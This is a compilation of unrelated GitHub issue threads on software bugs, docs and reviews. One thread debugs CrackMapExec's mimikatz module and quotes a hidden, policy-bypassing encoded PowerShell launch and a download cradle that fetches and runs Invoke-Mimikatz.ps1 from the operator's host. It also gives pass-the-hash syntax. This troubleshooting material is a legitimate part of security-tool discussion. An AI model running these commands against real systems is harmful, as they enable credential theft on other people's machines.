[ ] If there are any errors in the console that are unrelated to this PR, I either fixed them (preferred) or linked to where I reported them in Slack
[ ] I verified proper code patterns were followed (see Reviewing the code)

[ ] I verified that any callback methods that were added or modified are named for what the method does and never what callback they handle (i.e. toggleReport and not onIconClick).
[ ] I verified that the left part of a conditional rendering a React component is a boolean and NOT a string, e.g. myBool && <MyComponent />.
[ ] I verified that comments were added to code that is not self explanatory
[ ] I verified that any new or modified comments were clear, correct English, and explained "why" the code was doing something instead of only explaining "what" the code was doing.
[ ] I verified any copy / text shown in the product is localized by adding it to src/languages/* files and using the translation method
[ ] I verified all numbers, amounts, dates and phone numbers shown in the product are using the localization methods
[ ] I verified any copy / text that was added to the app is grammatically correct in English. It adheres to proper capitalization guidelines (note: only the first word of header/labels should be capitalized), and is either coming verbatim from figma or has been approved by marketing (in order to get marketing approval, ask the Bug Zero team member to add the Waiting for copy label to the issue)
[ ] I verified proper file naming conventions were followed for any new files or renamed files. All non-platform specific files are named after what they export and are not named "index.js". All platform-specific files are named for the platform the code supports as outlined in the README.
[ ] I verified the JSDocs style guidelines (in STYLE.md) were followed

[ ] If a new code pattern is added I verified it was agreed to be used by multiple Expensify engineers
[ ] I verified that this PR follows the guidelines as stated in the Review Guidelines
[ ] I verified other components that can be impacted by these changes have been tested, and I retested again (i.e. if the PR modifies a shared library or component like Avatar, I verified the components using Avatar have been tested & I retested again)
[ ] I verified all code is DRY (the PR doesn't include any logic written more than once, with the exception of tests)
[ ] I verified any variables that can be defined as constants (ie. in CONST.js or at the top of the file that uses the constant) are defined as such
[ ] If a new component is created I verified that:

[ ] A similar component doesn't exist in the codebase
[ ] All props are defined accurately and each prop has a /** comment above it */
[ ] The file is named correctly
[ ] The component has a clear name that is non-ambiguous and the purpose of the component can be inferred from the name alone
[ ] The only data being stored in the state is data necessary for rendering and nothing else
[ ] For Class Components, any internal methods passed to components event handlers are bound to this properly so there are no scoping issues (i.e. for onClick={this.submit} the method this.submit should be bound to this in the constructor)
[ ] Any internal methods bound to this are necessary to be bound (i.e. avoid this.submit = this.submit.bind(this); if this.submit is never passed to a component event handler like onClick)
[ ] All JSX used for rendering exists in the render method
[ ] The component has the minimum amount of code necessary for its purpose, and it is broken down into smaller components in order to separate concerns and functions

[ ] If any new file was added I verified that:

[ ] The file has a description of what it does and/or why is needed at the top of the file if the code is not self explanatory

[ ] If a new CSS style is added I verified that:

[ ] A similar style doesn't already exist
[ ] The style can't be created with an existing StyleUtils function (i.e. StyleUtils.getBackgroundAndBorderStyle(theme.componentBG)

[ ] If the PR modifies code that runs when editing or sending messages, I tested and verified there is no unexpected behavior for all supported markdown - URLs, single line code, code blocks, quotes, headings, bold, strikethrough, and italic.
[ ] If the PR modifies a generic component, I tested and verified that those changes do not break usages of that component in the rest of the App (i.e. if a shared library or component like Avatar is modified, I verified that Avatar is working as expected in all cases)
[ ] If the PR modifies a component related to any of the existing Storybook stories, I tested and verified all stories for that component are still working as expected.
[ ] If the PR modifies a component or page that can be accessed by a direct deeplink, I verified that the code functions as expected when the deeplink is used - from a logged in and logged out account.
[ ] If the PR modifies the UI (e.g. new buttons, new UI components, changing the padding/spacing/sizing, moving components, etc) or modifies the form input styles:

[ ] I verified that all the inputs inside a form are aligned with each other.
[ ] I added Design label and/or tagged @Expensify/design so the design team can review the changes.

[ ] If a new page is added, I verified it's using the ScrollView component to make it scrollable when more elements are added to the page.
[ ] If the main branch was merged into this PR after a review, I tested again and verified the outcome was still expected according to the Test steps.
[ ] I have checked off every checkbox in the PR reviewer checklist, including those that don't apply to this PR.

Screenshots/Videos

Android: Native

Android: mWeb Chrome

iOS: Native

iOS: mWeb Safari

MacOS: Chrome / Safari

MacOS: Desktop

@rushatgabhane the check was added only to Money Request -> Scan flow. Since the bug was related to that flow, do you think we should add it also to scenario which you provided? or it can be done in separate issue?

@kubabutkiewicz yes, i think we should do it in add attachment flow too.

@kubabutkiewicz in case you're back from OOO, could you please take a look at https://github.com/Expensify/App/pull/38384#issuecomment-2076740281

Hi @rushatgabhane , issue get closed so I will also close this pr, sorry for that


Does not support vue.js code hints

VSCode Version:1.5.2
OS Version: windows 10
Visual Studio Code does not support vue.js code hints

@ruyan2016 can you explain what you expect in more detail?

Suspect this is an issue with intellisense in JS.

@ruyan2016 thank you for opening this issue. Can you provide me with a code sample I can test on my own machine to see what you are seeing?

Closing until more info is provided.

Vue Single File Components contains 3 parts.

Template contains HTML and Vue Component tag.
(It can also contains other template engine, such as Pug, etc. , by specifying the lang attribute.)
Script contains JavaScript (ES2015 support by default).
(It can also use CoffeeScript by specifying the lang attribute.)
Style contains stylesheet CSS.
(It can also contains other CSS Preprocessors, such as SASS, LESS, etc. , by specifying the lang attribute)


Possibly seperate out user generated metadata from file generated metadata?

I'm trying to decide what the best option for updating metadata of files, while keep user generated metadata like tags, ratings, etc., and also preventing accidental corruption as much as possible!
One solution would be to keep the user generated content in a separate file, indexed by the file hash - this way if the library got corrupted, you could just make a new library of the same name, and keep both metadata and thumbnails!
Thoughts? 💡

Interesting. That could work, though I wonder if we could just create filename.vha.backup file every once in a while ? Would be easier ...
How many times have you run into a file getting corrupted? Hasn't happened to me once yet (though I've not been working with it much lately).

Seems like that could be an optional feature -- that is if you're doing something advanced like the Daemon mode (see #161).
I think for convenience, the metadata will stay all in one file, at the very least in version 2 (coming within 2 weeks). It seems like additional logic could just check if some filename.vha2-metadata file is present -- or for the app, if you're running it along with the daemon mode, the metadata would be copied over just in case into some .vha2-metadata file -- or some similar arrangement.
I'm closing this issue to clean up the Issues for the release. I'm not saying 'no' to the idea. @cal2195 Feel free to re-open with a comment or create a new issue 👌


Do not generate Content-Length headers on 1xx and 204 responses

Consider this example, running with the current git version https://gist.github.com/Leonidas-from-XIV/c4a6fb02bf8cd8288f5e, where Aleph returns an invalid header value. Basically, it takes the length of the response (9), adds it as a header and then I think Netty throws the body rightfully away, without adjusting for the headers. This creates issues with HTTP clients that read this header and wait indefinitely to get these 9 bytes that will never arrive (yes, that happened to us).
The proper behaviour (returning Content-Length: 0 in 204 requests or leaving the header out) is somewhat disputed on the internet, but RFC 7230, section 3.3.2 is relatively clear about it:

A server MUST NOT send a Content-Length header field in any response with a status code of 1xx (Informational) or 204 (No Content).

Hope this PR is of use to you, let me know if there are any changes necessary to get this in!

The instance? check should be for HttpResponse, not DefaultHttpReponse.  Also, using cond in this case seems a bit odd, why not just have a when with a predicate that does both checks?
Thanks for catching this, though.

I kinda like using cond in a pattern matching with guards manner, handling the cases separately and allowing fallthrough instead of or logic, but I can see that is is a rather unusual, so I've replaced it with when-not.


Not a issue all works great. But have someone allready some Wins?

Anny Wins allready?

found a few proofs, but keep losing sync so no wins yet.

Ja ganhei 8 porem sumiu

Estava no Linux consegui 4 e 4 porem derretendo não sincronizou mais

yes won 4 rewards already

com 2 horas.. daqui a pouco tem lá 16EIB..e tem meses..não vou ter wins

yes won 4 rewards already

your size?

Its growing really fast (of course everyone have the plots already plotted).

spare1c0d3gx28gr5l9390ykkxdka8v6ay9zpl4zgf62lv03q8nxlpunxstxunyy
Send a coin So I can confirm

that´s why no wins for small farmers..

your size?

99TB, should hit 100TB in a few min :)

71 TB

that´s why no wins for small farmers..

You will get some I'm sure. I've also got some FLAX and they have a bigger netspace now. But most probably you will not win many. Some weeks and its over for small farmers.

flax ...link?

filter like 50 sec

flax ...link?

https://flaxnetwork.org/

20 sec, 8 sec...

where can I see the flax size

where can I see the flax size

Only in the GUI program. No Explorer yet available.

spare1c0d3gx28gr5l9390ykkxdka8v6ay9zpl4zgf62lv03q8nxlpunxstxunyy

Check now

Qual altura de picos de voces a minha esta em 32 ainda

Not found plots showing please help...I have added my previous chia memonics.

0 proofs after 1h40mins with 1700+ plots

just like chia

this type fork..are not interest will go always to the same big farmers..

0 proofs after 1h40mins with 1700+ plots

Seems this fork is a big success. It copies Chia in any instance. :D

i should win each 1-2 hours with more than 1700+ plots but i won between 10 hours only one time.
whats wrong does someione more the 51% of Network?

2600+ plots after 10 hours, still 0.


Project root env var

We're going to set an environment variable for project_root that we can reference in our bash scripts.

already added the env PROJECT_ROOT


302 redirects not working?

=> (client/get "http://google.com")
{:cookies {"PREF" {:domain ".google.com", ... }, :status 302, :headers {"x-xss-protection" "1; mode=block", "server" "gws", "x-frame-options" "SAMEORIGIN", "content-type" "text/html; charset=UTF-8", "date" "Fri, 28 Oct 2011 16:05:00 GMT", "cache-control" "private", "location" "http://www.google.co.uk/", "content-length" "221", "connection" "close"}, :body "<meta http-equiv=\"content-type\" content=\"text/html;charset=utf-8\">\n<TITLE>302 Moved</TITLE>\n
302 Moved
\nThe document has moved\nhere.\r\n\r\n"}

=> (client/get "http://www.nytimes.com:80/2011/10/29/business/the-spotlight-now-shines-on-italy-common-sense.html")
{:cookies {"NYT-S" {:domain ".nytimes.com", :expires #<Date Sun Nov 27 16:18:10 GMT 2011>, :path "/", :value "0Mzh9PJwQ663rDXrmvxADeHCyZ5RAjhv6MdeFz9JchiAIUFL2BEX5FWcV.Ynx4rkFI", :version 0}}, :status 302, :headers {"date" "Fri, 28 Oct 2011 16:18:10 GMT", "server" "Apache/2.2.3 (CentOS)", "location" "http://www.nytimes.com:80/2011/10/29/business/the-spotlight-now-shines-on-italy-common-sense.html?_r=1", "content-length" "0", "connection" "close", "content-type" "text/html; charset=UTF-8"}, :body ""}

Strange, I'll take a look this weekend to see what's going on.

Interesting, it looks like wrap-redirects isn't recursive, so it's only following one level of redirects.
I tested a recursive fix with the nytimes URL and it's redirecting something like 13 (!) times. Crazy nytimes.
I'm working on a fix for this, thanks for the heads up!

Fixed in 9236bdf3


CLI update fails if there is a package dependency such as MultiStep Workflow add-on

We've tried to upgrade a concrete5 8.4.0 site with multi-step workflow add-on to 8.5.1.
However the upgrade failed with the following error message
Concrete\Package\MultipleStepWorkflow\Permission\Key\MultipleStepWorkflowStepKey does not exist

This happened because CLI is not loading package Class.
We've worked around to change
https://github.com/concrete5/concrete5/blob/11aa23ac2d82833bc985004236dadcdbf5b85deb/concrete/src/Foundation/Runtime/Boot/DefaultBooter.php#L124-L126
to
        if (!$this->app->isRunThroughCommandLineInterface()) {
            return $this->bootHttpSapi($config, $app);
        } else {
            $this->initializePackages($app);
        }

@deek87 said you guys intentionally didn't include package for some reason.
I'm wondering if there is any better solution...

@katzueno, where can we find that multi-step workflow add-on please?

@mnakalay Hey Nour,
It's Enterprise add-on.
You need to talk with Franz.
https://www.concrete5.org/solutions/enterprise-extensions

Thank you :)

I did not encounter this using the latest develop branch and re-running an upgrade from 8.4.0 to the latest develop. I think 8.5.2 when released will resolve this issue.

My mistake, this was indeed an issue. Opening PR https://github.com/concrete5/concrete5/pull/8542 to fully fix.


how to get statistic from X-Message-Id Please Guide me or how to get statistic of perticular to and from email

Expected content
Actual content
Link to page:

Hi VirendaArekar,
Sorry that you're running into issues. You can access support contact options by logging into https://support.sendgrid.com. They should be able to guide you through this issue.
SendGrid Docs Team


TargetCamera (and children classes) upVector ignores set value

Hello,
I've been trying to use the upVector property to change the z rotation of a TargetCamera, but I've realized the property seems to ignore the value. Same for rotation.z and rotationQuaternion.
Basis
I have been using this source to understand the use of upVector, they answer what I need : http://www.html5gamedevs.com/topic/11380-rotate-camera-around-z-axis/
Environment
I'm using the npm version, rebuilt and packaged with browserify and babelify, but it is reproducible on the playground and in the classic js minified version.

babylonjs version : 3.1.0beta6
tested on these browsers :

Chrome desktop 62.0.3202.94
Edge 40.15063.674.0
Firefox desktop 57.0
Safari desktop 10.1.2
Safari mobile (ipad and iphone) on ios 10.3 and 11.1
Chrome mobile (android) 62.0.3202.84

What was expected
Unless I'm mistaken, the idea was to tilt the camera on Z using the up vector. Makes sense mathematically, seems to make sense in the linked thread.
For a rough example of what I'm trying to achieve, here's a sample of F-Zero GX keeping the camera up vector relative to the ship rather than the world : https://youtu.be/dQ8vMW4QOOc?t=21m21s
What happened
The prop is ignored, even with noRotationConstraint on true. Most evident is on the actual playground linked in the thread : http://www.babylonjs-playground.com/#2FNBTG#1 . Nothing happens, the camera stays at its default up tilt. As noted too, rotation.z and rotationQuaternion seem to be ignored too.
Notes
I've checked in typescript code and noticed several things in babylon.targetCamera.ts  inside setTarget(target: Vector3) :

line 151 : Matrix.LookAtLHToRef takes the this._defaultUpVector instead of this.upVector
line 164 : this.rotation.z = 0; I might be missing something, but... why?
lines 178-180 : if the rotationQuaternion is set, it is replaced by the components in rotation, meaning the value you set is just dumped

I'd like to note I'm probably missing a lot of stuff by just analyzing this method, but it did feel weird in this context. However if this actually is impacting the issue, I can do a PR. Haven't had time to try and build a custom version yet though.

thx for the detailed explanation. i ll have a look today.

On target camera the upVector is currently set by the camera itself to point at the target as you notice you can rely instead on the camera.rotation.z: https://www.babylonjs-playground.com/#2FNBTG#25
Or simulate your tilt from an up vector: https://www.babylonjs-playground.com/#2FNBTG#26
We ll address the rest of the issue next week.


[Documentation] theme color change

I recently saw a commit enabling the feature to change the theme color. Could you please describe the process to do it asap. better update the documentation. You could also let me know the steps and I'll leave a pull request with the updated documentation.

please take a look to the code,
documentation would be updated at 1.0 release.
Duplicate #131

Themes are documented here in case you didn't find the docs. http://docs.viewflow.io/forms_themes.html


Use Metal Detector when boss is dying in 10 seconds or less

I haven't tested it yet. It should work, although I'd recommend using Math.floor on the return value of predictBossDeath();.
In case this is not tested and merged until I'm online again, I'll try to fix this if it isn't working.

Should probably use Treasure too
Didn't seem to work, it (or something) called it in too early - right when the boss came up. Gonna check again in 40-ish minutes if it worked

@RockyTV
Found the issue:
###############
Enemy: [object Object]
Enemy Boss Health:<PHONE_NUMBER>7500000
Team DPS: 0
Secs to Boss Death: 0
###############
When the boss level starts, the dps is zero ;)

Closed, made a new PR to track @chauffer's work.


Error on assets:build (ERROR in ./bundles/oroui/js/app/services/module-config.js)

I'm testing version 4.1.0-rc4 and when I run assets:build command, this error occured:
ERROR in ./bundles/oroui/js/app/services/module-config.js     Module not found: Error: Can't resolve 'configs.json' in '/var/www/absolutex.local/public/bundles/oroui/js/app/services'      @ ./bundles/oroui/js/app/services/module-config.js 6:0-40 28:31-43      @ ./bundles/oroui/js/app.js      @ multi whatwg-fetch oroui/js/app oroui/js/app/services/app-ready-load-modules
Effectively, at path oroui/js/app/services the file config.json doesn't exist.
Details about your environment

OroPlatform version 4.1.0-rc4
PHP version: 7.3
Database MySQL 5.7.29
node version 12.14.0
npm version 6.13.4

Hi
configs.json -- is generated during webpack config preparation, on a base of declarations from jsmodules.yml in configs section. Those files are placed in public/build/configs.json and /public/layout-build/{{LAYOUT-NAME}}/configs.json. Please check if you have configs.json files in mentioned places.
The build dir is one of the places that is used by resolver:
https://github.com/oroinc/platform/blob/master/build/webpack-config-builder/oro-webpack-config.js#L337


[Question] Disable Using{{HttpMethod}} postfixing

Is it possible to disable adding Using{{http_method_name}} ending to endpoints that don't have nickname defined in @ApiOperation? Those are generated during build in my project with Swagger Codegen that apparently doesn't provide nicknames.
I've submitted a fix https://github.com/swagger-api/swagger-codegen/pull/6688 there, but till then I want to overcome this with a temporal solution (like overriding naming strategy or smth).

You can create your own plugin like this one Only make sure that your plugin order is after the swagger order


mobile: Update InternalEngine::sendTrailers to use Envoy::Http::RequestTrailerMap

This PR updates InternalEngine::sendTrailers to use C++ Envoy::Http::RequestTrailerMap instead of envoy_headers C wrapper type. This helps to reduce the number of indirection as well as unnecessary copies. The JNI code for sendTrailers has been rewritten to use proper Java type, such as Map<String, List<String>> instead of byte[][]. This change also helps to reduce unnecessary copies.
Risk Level: low
Testing: unit tests
Docs Changes: n/a
Release Notes: n/a
Platform Specific Features: mobile

/retest


[FEATURE] Additional investigation why OpenSAML 4.3.0 wants to use intenal OpenSearch permission

Is your feature request related to a problem?
After switching to OpenSAML version 4.3.0. We found out that 2 additional properties need to be added to the security plugin policy file (the problem was fixed here https://github.com/opensearch-project/security/pull/2987).
permission java.util.PropertyPermission "*" "read,write"; - is not a big deal since it just asks for access to the internal OpenSAML classes and JDK java.lang.ref.Cleaner
while
permission org.opensearch.secure_sm.ThreadPermission "modifyArbitraryThread - is the internal OpenSearch permission and technically we can't use it. Instead permission java.lang.RuntimePermission "modifyThread"; must be used.
What solution would you like?
To move forward with OpenSAML 4.3.0 we need investigate why it uses
permission org.opensearch.secure_sm.ThreadPermission "modifyArbitraryThread.
Do you have any additional context?
Add any other context or screenshots about the feature request here.

[Triage] Thanks for filing, it would be good to have an understanding of the isolation/exposure model of this dependency

@cwperks seems like i found the root cause of the problem. OS tries to check permissions for InnocuousThread which appeared in JDK19. and it does not need to do it since they do not inherit any Access Control Context and therefore have no permissions.

Nice find @willyborankin!
I'm trying to get to the root of a separate permissions issue related to the JJWT 0.10.x -> 0.11.x upgrade. This PR was required on 2.x, but not required on main and I'm unsure why.

Create PR in core: https://github.com/opensearch-project/OpenSearch/pull/9490

@willyborankin I think we could close this one, right?

@willyborankin I think we could close this one, right?

Yes


sponsor app v0.10.6 horiz menu and remove vertical menu and dashboard

(from "2021-12-09 - PL CTR Testing Issues")
Occasionally the vertical menu still appears, and the dashboard page is accessed.

The vertical menu exists because, in the long run, the horizontal menu will not be able to support more options (so the vertical side menu is a long-term proposal). But as for M36, it should not be possible to incorporate many more features, so, remove (or hide completely) the side vertical menu.

Also fix the horizontal menu.

Meeting 2022-01-26, there is still a button to open the side menu.

The problem on previous comment should be fixed on v0.11.1 or higher.


A/B Testing infrastructure for Next.js

No changes were made since @anulman rebased from canary.

This is amazing.

Closed in favour of #3


MinDomainsInPodTopologySpread is reported as false by default in Kubernetes 1.25.0 in Feature Gate page

This is a Bug Report

Problem:
The Feature Gate page ( https://kubernetes.io/docs/reference/command-line-tools-reference/feature-gates/ ) reports MinDomainsInPodTopologySpread to be false by default in 1.25.0 for beta status whereas the Pod Topology Constraint page ( https://kubernetes.360ai.org/docs/concepts/scheduling-eviction/topology-spread-constraints/#spread-constraint-definition ) says it's true by default in 1.25.0.
I understand that all beta are true by default.
Proposed Solution:
Update the status in Feature Gate page from false to true for MinDomainsInPodTopologySpread in 1.25.0.
Page to Update:
https://kubernetes.io/docs/reference/command-line-tools-reference/feature-gates/

/triage accepted
The kubernetes source code sets this MinDomainsInPodTopologySpread  feature gate beta default to false, which we need to modify first in the kubernetes repository.
According to the KEP description, It should have been set to true by default in 1.25(but don't know why there is no).
I have summited a PR https://github.com/kubernetes/kubernetes/pull/114445 for this issue.

PR https://github.com/kubernetes/kubernetes/pull/114445 has been merged.
The documentation needs to be modified after the k8s 1.27 release:
Update the status on the feature gate page from false to true for MinDomainsInPodTopologySpread in 1.27.

There are other cases where the default value for a gate is 'false' although it is in Beta or vice versa. Just document the true fact should be fine. The number of lines doesn't matter at all. In your screenshot, you forgot to mention that the feature remained to be 'false' till '1.26', i.e. the second row.

There are other cases where the default value for a gate is 'false' although it is in Beta or vice versa. Just document the true fact should be fine. The number of lines doesn't matter at all

ok, I got it.

In your screenshot, you forgot to mention that the feature remained to be 'false' till '1.26', i.e. the second row.

- The "Until" column, if not empty, contains the last Kubernetes release in which
  you can still use a feature gate.

yes, I may have misunderstood the meaning of "Until". I initially thought that changing the default value would not change the value of the "Until" column.
After modifying the data:

PR #38549 to update it in the dev-1.27 branch.

Oh, I didn't notice that line and I will fix the note.
Change it to:
Note: The minDomains field is a beta field and disabled by default in 1.25. You can enable it by enabling the MinDomainsInPodTopologySpread [feature gate](https://kubernetes.io/docs/reference/command-line-tools-reference/feature-gates/).

Can this be modified like this? @sanposhiho

@tengqm  I need to commit the update in the release-1.25 and main branches, right?

@tengqm I need to commit the update in the release-1.25 and main branches, right?
I'm not sure if this needs to be changed in release-1.25.

If there are defects in v1.25 docs, we should fix it by committing to release-1.25 branch.

ok, I got it.

Closing this issue as I see it's resolved now!
Feel free to reopen if anything slipped away from my sight 🙂 Thanks!
/close


How to install superset without creating an admin user ?

[ x ] I have checked the issue tracker for the same issue and I haven't found one similar

Superset version 0.18.2
How can I install/user superset without creating an admin user. I followed this guide but skipped the creating admin user part (fabmanager create-admin --app superset). Now when I run superset runserver and go to the web-ui, how do I login ?
I tried using my default username and password for my Linux account which I installed superset in, but it didn't work.
So, is there no way to use Superset without creating an admin account ?

What's wrong in creating an admin user inside superset?

Oops

When I  tried to create an admin user I had this error:
" Was unable to import superset Error: cannot import name 'quoted_name' "
Anyone have an idea about this issue?
Thanks

@mbadrADS Maybe you should create a new issue instead of asking in this closed issue?


In annovarToMaf read the .tsv file considering the header

Whit header=FALSE the function complain that the required fields are missing.

Hello,
Sorry for the delay and thank you for the fix.


Refactor WaypointsTab: visual, grouping, sorting, visibilty control, delete confirmation, significant speedup #2167

Bugs fixed: lost-layers (on load cloud tracks), stale context (switch local-cloud), lost track time (startTime lost), warnings (validateDOMNesting).
Experiment: try new PersistentTabPanel instead of always-unmounting MUI TabPanel.

[x] load several different Travel/Wikivoyage tracks (small/big)

[ ] try to find Travel track with Address field in points

[x] load several usual GPX tracks with waypoints

[x] Local: test all loaded tracks as Local tracks

[x] test: check A-Z sorting of groups

[x] test: check A-Z sorting of points in groups

[x] test: check hover (Tooltip) on different points

[x] test: check collapse/uncollapse individial group, all groups

[x] test: check hide/show points of individial group, of all groups

[x] test: group should be default open (uncollapsed) in case when only 1 group exists

[x] test: check single point delete confirmation dialog, check undo/redo after delete point

[x] test: check all points delete confirmation dialog, check undo/redo after delete all points

[x] test: important on Local and Cloud: invisible (switched off) groups/points(!) should restore visibility on close/open track

[x] test: important on Local and Cloud: invisible (switched off) groups/points(!) should restore visibility on (re)activaion of track (=switch between tracks, including between Local and Cloud tracks)

[x] Cloud: upload all test tracks to the Cloud and repeat all tests with Cloud tracks

https://github.com/osmandapp/OsmAnd-Issues/issues/2167

[ ] bug with "Show on the map" Waypoints for Cloud track. Reproducing: open Cloud track, next activate any Local track, next return to Cloud track.


⚠ Bofrost.be has degraded performance

In 2e2e8de, Bofrost.be (https://www.bofrost.be) experienced degraded performance:

HTTP code: 200
Response time: 2077 ms

Resolved: Bofrost.be performance has improved in 7d8517a.


Initializer for conditional binding must have Optional type, not 'Data'

XCGLogger (6.1.0)
Swift version: 5.0

Same issue, @ClegeJJ Are you fixed it?

@3s-tiennm Please make sure you're using the right version of XCGLogger for the version of Swift you're working with. The above issue was due to using XCGLogger 6.1.0 with Swift 5.0, instead of XCGLogger 7.0.
See https://github.com/DaveWoodCom/XCGLogger#backwards-compatibility


Server-side TLS version is not supported by Powershell 2.0 IEX cradles

All,
I have two Kali installs, one I have been using off a USB stick with a persistent storage.  Crackmapexec and mimikatz works perfectly.
I just installed a fresh version of kali on a new laptop.  All parts of crackmapexec works great with the exception of mimikatz.  Targeting the same system with the same command, the old usb works, but not the new install.  On the one that does not work, below is the output from the verbose command:
DEBUG                                          Target system is <IP_ADDRESS> and isFDQN is False
DEBUG                                          StringBinding: \\WStest[\PIPE\atsvc]
DEBUG                                          StringBinding: WStest[49154]
DEBUG                                          StringBinding: <IP_ADDRESS>[49154]
DEBUG                                          StringBinding chosen: ncacn_ip_tcp:<IP_ADDRESS>[49154]
DEBUG                                          Executed command via wmiexec
DEBUG                                          Executing command: cmd.exe /Q /c powershell.exe -exec bypass -window hidden -noni -nop -encoded WwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAUwBlAHIAdgBlAHIAQwBlAHIAdABpAGYAaQBjAGEAdABlAFYAYQBsAGkAZABhAHQAaQBvAG4AQwBhAGwAbABiAGEAYwBrACAAPQAgAHsAJAB0AHIAdQBlAH0AOwAKAHQAcgB5AHsAIAAKAFsAUg.............................................
the rest of the base64 ..............................................uAFcAcgBpAHQAZQAoACAAJABiAHkAdABlAHMALAAgADAALAAgACQAYgB5AHQAZQBzAC4ATABlAG4AZwB0AGgAIAApADsACgAgACAAIAAgACAAIAAgACAAJAByAGUAcQB1AGUAcwB0AFMAdAByAGUAYQBtAC4AQwBsAG8AcwBlACgAKQA7AAoAIAAgACAAIAAgACAAIAAgACQAcgBlAHEAdQBlAHMAdAAuAEcAZQB0AFIAZQBzAHAAbwBuAHMAZQAoACkAOwAKAA==
MIMIKATZ     <IP_ADDRESS>:445 WS3837          [+] Executed payload
MIMIKATZ                                       [*] Waiting on 1 host(s)
It never makes it past this part.  I can see the target connect to my kali box on port 443, which I assume it is downloading the power shell file.
thanks
DD

On a side note, I did even copy over the Invoke-Mimikatz.ps1 file from one system to the other.

Did you clone the repo with the --recursive flag ?
https://github.com/byt3bl33d3r/CrackMapExec/wiki/Installation

its on kali, both are, do i just ran apt-get

@dirtdiver512 that's not what i asked. Please read the question again.

just did that.....seems it did update it as now it is requiring the protocol info at the cli and the verbose looks different, but now it is hanging on every command.  stops at:
wmi_namespace : root\cimv2

here is the command i am running:
crackmapexec  --verbose smb <IP_ADDRESS> -u username -H ???????????????????:????????????????????

@byt3bl33d3r I am having the same issue and I did indeed clone with the --recursive flag.  sometimes i will get the --"GET /Invoke-Mimikatz.ps1 HTTP/1.1" 200- and other times I will not on the same target.  But always goes to Waiting on 1 host(s) message and repeats it until I force quit

I never get the 200.  Something to note.....in the previous version i notice that the code send across was base64 encoded, with this new version I noticed it is encoded different way, not sure how.....but it it looks like when the target runs the code to download the ps script i get this error.  I do see some 443 traffic via tcpdump, but I never get the 200 http code on the kali side.
Exception calling "DownloadString" with "1" argument(s): "The underlying connection was closed: An unexpected error occurred on a send."
At line:6 char:46

IEX (New-Object Net.WebClient).DownloadString <<<< ('https://10.x.x.x:443/Invoke-Mimikatz.ps1')

CategoryInfo          : NotSpecified: (:) [], MethodInvocationException

FullyQualifiedErrorId : DotNetMethodException

fyi i am wondering if it has to do with powershell 2.0 and its lack of tls support......i see this open an http connection, what type of crypto does it use?  ssl/tls(1 1.1 1.3 1.3)?  PS 2, which is what I am testing with, only has ssl3 and tls 1.0

dumb question but I assume I can just delete the old folder and rerun
git clone --recursive https://github.com/byt3bl33d3r/CrackMapExec

I think the TLS is the issue.  I cloned this again and still get the same issue.  I ran sslscan against the kali box as it was waiting for the download and it appears to only support tls 1.2, Which powershell 2.0 does not support.  I see the change you made, but that is only telling powershell what version to allow, the https server side running on kali/python is only 1.2, so that fix I dont think will work.  The python https needs to allow tls1 or ssl3, which powershell 2.0 can support.

I think it is still not clear the key to the problem.In the document of Python's ssl library(https://docs.python.org/2/library/ssl.html):

The parameter ssl_version specifies which version of the SSL protocol to use. Typically, the server chooses a particular protocol version, and the client must adapt to the server’s choice. Most of the versions are not interoperable with the other versions. If not specified, the default is PROTOCOL_SSLv23; it provides the most compatibility with other versions.

and PROTOCOL_SSLv23 is a alias for PROTOCOL_TLS, and PROTOCOL_TLS means

Selects the highest protocol version that both the client and server support. Despite the name, this option can select “TLS” protocols as well as “SSL”

If so, python's ssl will select tls1.0 to establish connection when Powershell2.0 net.webclient requests some thing.
I proved my thoughts by using this simple script, and created a new windows7 machine.When Powershell2.0 net.webclient requests my https server, everything is ok except the certificate error that i can solve it easily.
So..there is something happened...but we dont know, or my thoughts are wrong....


References

Some nice references I've been using:
H264 standard
https://last.hit.bme.hu/download/vidtech/könyvek/Iain E. Richardson - H264 (2nd edition).pdf
Stanford lecture
https://gfxcourses.stanford.edu/cs348k/spring21/lecture/videocompression/

anything else interesting here?

wdym? interesting references?


Transaction Details:  500 for invalid transaction ID instead of 404

Describe the bug
The  server returns 500 error when requesting transaction details with transaction ID that does not exist or is an invalid hash
To Reproduce
Invalid hash:

https://safe-client-rinkeby.staging.gnosisdev.com/v1/transactions/0x0000000000000000000042c3aa02993a2f6906662671a72e646dc28c8935422a

Invalid id:

https://safe-client-rinkeby.staging.gnosisdev.com/v1/transactions/123
https://safe-client-rinkeby.staging.gnosisdev.com/v1/transactions/multisig_123

Expected behavior
Server returns  404 not found
Desktop (please complete the following information):

OS: Desktop
Browser: Firefox

This is related to https://github.com/gnosis/safe-client-gateway/issues/54 and will be handled with that.
Nore: Currently everything is a 500


https://github.com/Seagate/cortx/blob/main/doc/CORTXContributionGuide.md suggestions

A can link to https://github.com/Seagate/cortx/blob/main/doc/SSH Public Key.rst

Resolved in the CORTX CONTRIBUTING.md file


Stackmate Requirements

https://github.com/StackmateNetwork/the-stackmate/issues/77

Opened in error.


Improved the wait for gather action queuing

Slighly changed the placement of the wait for gathering action and used EnqueueImmediate to make sure we always wait for the action after it's used

Closed the PR while investigating a potential issue


[$500]  Chat - Deleting an IOU makes the chat unread

If you haven’t already, check out our contributing guidelines for onboarding and email<EMAIL_ADDRESS>to request to join our Slack channel!

Version Number: <IP_ADDRESS>
Reproducible in staging?: Y
Reproducible in production?: Y
If this was caught during regression testing, add the test name, ID and link from TestRail:
Email or phone of affected tester (no customers):
Logs: https://stackoverflow.com/c/expensify/questions/4856
Expensify/Expensify Issue URL:
Issue reported by: Applause-Internal Team
Slack conversation: @
Action Performed:

Navigate to https://staging.new.expensify.com/

Open a chat

Do a manual IOU

Do another manual IOU

Go back to the LHN

Open the chat again

Tap on the IOU

Delete the first IOU

Go back

Go back to the LHN

Open the chat again

Expected Result:
Deleting the IOU shouldn't make the chat unread.
Actual Result:
Deleting an IOU makes the chat unread.
Workaround:
Unknown
Platforms:

Which of our officially supported platforms is this issue occurring on?

[x] Android: Native
[x] Android: mWeb Chrome
[x] iOS: Native
[x] iOS: mWeb Safari
[x] MacOS: Chrome / Safari
[ ] MacOS: Desktop

Screenshots/Videos
https://github.com/Expensify/App/assets/115492554/92fb306a-c6e3-45ca-82bf-1f8aa7ce525c

View all open jobs on GitHub
Upwork Automation - Do Not Edit

Upwork Job URL: https://www.upwork.com/jobs/~01f653d2e302e6dee1
Upwork Job ID:<PHONE_NUMBER>947929600
Last Price Increase: 2023-12-12

Proposal
Please re-state the problem that we are trying to solve in this issue.
